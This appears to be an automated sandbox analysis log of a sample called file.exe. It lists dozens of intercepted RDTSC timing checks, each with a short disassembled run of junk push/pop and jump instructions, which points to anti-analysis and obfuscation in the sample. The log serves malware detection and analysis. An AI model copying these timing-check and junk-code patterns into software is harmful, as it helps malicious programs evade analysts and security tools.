Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCAA42 second address: CCAADF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, dword ptr [ebp+122D35B7h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 jnc 00007F5500C932AAh 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 mov edi, dword ptr [ebp+122D371Bh] 0x0000002a mov eax, dword ptr [ebp+122D0A11h] 0x00000030 or dword ptr [ebp+122D1970h], ecx 0x00000036 push FFFFFFFFh 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F5500C93298h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 jmp 00007F5500C9329Dh 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b jp 00007F5500C93296h 0x00000061 pushad 0x00000062 popad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCAADF second address: CCAAE4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7861 second address: CC787D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5500C932A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCBA9D second address: CCBAA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCBAA4 second address: CCBAC4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jo 00007F5500C93296h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F5500C9329Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE866 second address: CCE877 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE877 second address: CCE881 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F5500C93296h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE9D3 second address: CCE9D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4526 second address: CD4540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F5500C932A0h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4540 second address: CD4544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4544 second address: CD4548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5A6C second address: CD5A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5A70 second address: CD5AA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5500C932A5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F5500C932A2h 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007F5500C93296h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5AA7 second address: CD5AAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5AAB second address: CD5AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD90DE second address: CD90E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8834 second address: CD883A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD883A second address: CD883E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8B5F second address: CD8B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8CA2 second address: CD8CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8CAB second address: CD8CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8CB1 second address: CD8CBB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5500B4B7C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBB42 second address: CDBB57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5500C9329Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBB57 second address: CDBB5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBB5B second address: CDBB8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A4h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F5500C9329Fh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDEAB9 second address: CDEADE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b jo 00007F5500B4B7D4h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDEADE second address: CDEB0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5500C93296h 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jp 00007F5500C932A2h 0x00000015 mov eax, dword ptr [eax] 0x00000017 push ecx 0x00000018 jnp 00007F5500C9329Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDEB95 second address: CDEB99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDED74 second address: B0FA10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5500C9329Dh 0x00000009 popad 0x0000000a pop eax 0x0000000b pushad 0x0000000c mov esi, 41F66EA0h 0x00000011 mov ebx, edi 0x00000013 popad 0x00000014 push dword ptr [ebp+122D014Dh] 0x0000001a cmc 0x0000001b call dword ptr [ebp+122D1A05h] 0x00000021 pushad 0x00000022 jmp 00007F5500C9329Dh 0x00000027 xor eax, eax 0x00000029 add dword ptr [ebp+122D19F5h], esi 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 clc 0x00000034 mov dword ptr [ebp+122D35C7h], eax 0x0000003a jmp 00007F5500C932A2h 0x0000003f mov esi, 0000003Ch 0x00000044 cld 0x00000045 add esi, dword ptr [esp+24h] 0x00000049 pushad 0x0000004a jmp 00007F5500C932A2h 0x0000004f call 00007F5500C932A0h 0x00000054 mov ax, si 0x00000057 pop eax 0x00000058 popad 0x00000059 lodsw 0x0000005b or dword ptr [ebp+122D19F5h], ecx 0x00000061 add eax, dword ptr [esp+24h] 0x00000065 cmc 0x00000066 mov ebx, dword ptr [esp+24h] 0x0000006a add dword ptr [ebp+122D19F5h], ecx 0x00000070 nop 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007F5500C9329Ch 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4C60 second address: CE4C66 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4C66 second address: CE4C74 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007F5500C93296h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4C74 second address: CE4C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4C7A second address: CE4C7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4DF5 second address: CE4DFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4DFB second address: CE4DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4DFF second address: CE4E09 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5500B4B7C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4F6E second address: CE4FB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C9329Ch 0x00000007 jp 00007F5500C93296h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F5500C932A2h 0x00000015 jmp 00007F5500C932A0h 0x0000001a jmp 00007F5500C9329Ch 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE5221 second address: CE5228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE5228 second address: CE5234 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jg 00007F5500C93296h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA168 second address: CEA171 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA171 second address: CEA17B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA17B second address: CEA181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA181 second address: CEA18C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA18C second address: CEA192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA192 second address: CEA1A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA6DB second address: CEA6E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA6E1 second address: CEA6ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA6ED second address: CEA6F3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEDED3 second address: CEDED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEDED9 second address: CEDEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007F5500B4B7C6h 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7BC42 second address: C7BC69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5500C93296h 0x0000000a jg 00007F5500C93296h 0x00000010 popad 0x00000011 ja 00007F5500C9329Eh 0x00000017 pop edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7BC69 second address: C7BC72 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7BC72 second address: C7BC94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5500C932A7h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF11D5 second address: CF11D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF11D9 second address: CF1211 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jne 00007F5500C93296h 0x0000000d jl 00007F5500C93296h 0x00000013 popad 0x00000014 pushad 0x00000015 je 00007F5500C93296h 0x0000001b jmp 00007F5500C9329Fh 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 push edi 0x00000027 pop edi 0x00000028 jl 00007F5500C93296h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1211 second address: CF123D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5500B4B7D8h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF123D second address: CF1243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB3588 second address: CB358F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB358F second address: B0FA10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jng 00007F5500C932B2h 0x0000000e pushad 0x0000000f jmp 00007F5500C932A8h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 nop 0x00000018 sub dh, FFFFFFC4h 0x0000001b push dword ptr [ebp+122D014Dh] 0x00000021 mov dword ptr [ebp+122D27C3h], ecx 0x00000027 jmp 00007F5500C9329Eh 0x0000002c call dword ptr [ebp+122D1A05h] 0x00000032 pushad 0x00000033 jmp 00007F5500C9329Dh 0x00000038 xor eax, eax 0x0000003a add dword ptr [ebp+122D19F5h], esi 0x00000040 mov edx, dword ptr [esp+28h] 0x00000044 clc 0x00000045 mov dword ptr [ebp+122D35C7h], eax 0x0000004b jmp 00007F5500C932A2h 0x00000050 mov esi, 0000003Ch 0x00000055 cld 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a pushad 0x0000005b jmp 00007F5500C932A2h 0x00000060 call 00007F5500C932A0h 0x00000065 mov ax, si 0x00000068 pop eax 0x00000069 popad 0x0000006a lodsw 0x0000006c or dword ptr [ebp+122D19F5h], ecx 0x00000072 add eax, dword ptr [esp+24h] 0x00000076 cmc 0x00000077 mov ebx, dword ptr [esp+24h] 0x0000007b add dword ptr [ebp+122D19F5h], ecx 0x00000081 nop 0x00000082 push eax 0x00000083 push edx 0x00000084 jmp 00007F5500C9329Ch 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB36A2 second address: CB36AC instructions: 0x00000000 rdtsc 0x00000002 js 00007F5500B4B7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB37AA second address: CB37C1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5500C9329Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB37C1 second address: CB37C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB37C7 second address: CB37D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F5500C93296h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB37D1 second address: CB3804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jnc 00007F5500B4B7CAh 0x00000012 mov eax, dword ptr [eax] 0x00000014 jnc 00007F5500B4B7CEh 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f jo 00007F5500B4B7CCh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB39B9 second address: CB39BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB3CE9 second address: CB3D25 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5500B4B7CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ecx, dword ptr [ebp+122D1982h] 0x00000013 push 00000004h 0x00000015 pushad 0x00000016 mov eax, dword ptr [ebp+122D19DEh] 0x0000001c mov bh, dl 0x0000001e popad 0x0000001f nop 0x00000020 pushad 0x00000021 push ecx 0x00000022 jmp 00007F5500B4B7CBh 0x00000027 pop ecx 0x00000028 jl 00007F5500B4B7CCh 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB41BD second address: CB41C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB41C1 second address: CB41DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5500B4B7D2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB44BD second address: CB44C7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5500C93296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB44C7 second address: CB44ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F5500B4B7C6h 0x00000009 jne 00007F5500B4B7C6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 ja 00007F5500B4B7D0h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1735 second address: CF173F instructions: 0x00000000 rdtsc 0x00000002 js 00007F5500C93296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1F82 second address: CF1F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1F88 second address: CF1F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1F8F second address: CF1F95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7A84 second address: CF7A8E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5500C93296h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7A8E second address: CF7AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5500B4B7D8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7AAE second address: CF7AC1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F5500C9329Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7AC1 second address: CF7AD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CAh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF63EC second address: CF642A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F5500C9329Ch 0x0000000c pop esi 0x0000000d pushad 0x0000000e jbe 00007F5500C9329Ah 0x00000014 push edx 0x00000015 pop edx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F5500C9329Fh 0x0000001d push ebx 0x0000001e jp 00007F5500C93296h 0x00000024 jl 00007F5500C93296h 0x0000002a pop ebx 0x0000002b push ecx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF66F9 second address: CF670C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CAh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF670C second address: CF6742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5500C93296h 0x0000000a pushad 0x0000000b popad 0x0000000c jbe 00007F5500C93296h 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 jl 00007F5500C93296h 0x0000001c jmp 00007F5500C932A8h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF688F second address: CF68A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 je 00007F5500B4B7CCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF68A2 second address: CF68AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007F5500C93296h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF68AF second address: CF68D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F5500B4B7CCh 0x0000000f jbe 00007F5500B4B7CCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6D40 second address: CF6D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
